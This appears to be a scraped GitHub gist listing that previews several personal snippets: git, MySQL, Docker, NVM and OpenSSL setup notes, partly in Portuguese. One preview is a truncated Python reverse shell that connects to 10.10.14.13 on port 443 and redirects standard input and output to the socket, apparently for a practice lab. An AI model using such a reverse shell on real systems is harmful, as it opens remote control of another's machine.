This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GIT Commands | |
git init | |
git remote add origin http://wwwwwwwwwww | |
git add . | |
git commit -a -m "Projeto Final" | |
git config --global http.postBuffer 157286400 | |
git push -u origin master | |
git checkout -b develop | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
innodb_flush_log_at_trx_commit=1 ## disco ssd | |
Datadir | |
-innodb_log_group_home_dir # path innodb redo log files | |
-innodb_undo_directory # path innodb undo tablespaces | |
-log_bin # path binary log | |
-log_error # path log error | |
-innodb_buffer_pool_size # innodb workloads | |
* host memory based |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Delete/Clean XCode /CoreSimulator/Devices/ folder | |
$ xcrun simctl delete unavailable |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#enter on an open container | |
$ docker exec -it <CONTAINER_ID> bash | |
#kill all docker process | |
$ docker kill $(docker ps --format "table {{.ID}}") | |
#delete all docker images | |
$ docker rmi -f $(docker images --format "table {{.ID}}") | |
#create Dockerfile |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Passo 1 - Instalar NVM | |
$ git clone git://github.com/creationix/nvm.git ~/.nvm | |
## Criar arquivo .bash_profile do usuario para inclusão das chamadas NVM | |
* Abrir uma nova tela do Terminal | |
* Digitar "cd ~/" para ir para a pasta principal do usuario | |
* Digitar "touch .bash_profile" para criar um novo arquivo vazio. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
def con(): | |
import socket, time,pty, os | |
host='10.10.14.13' | |
port=443 | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.settimeout(10) | |
s.connect((host,port)) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.openssl.org/source/ | |
# 1.1.1 (2018-09-11) | |
cd ~/Downloads | |
curl -O https://www.openssl.org/source/openssl-1.1.1.tar.gz | |
tar -xvzf openssl-* | |
cd openssl-* | |
./Configure darwin64-x86_64-cc | |
make | |
make test | |
sudo make install |
NewerOlder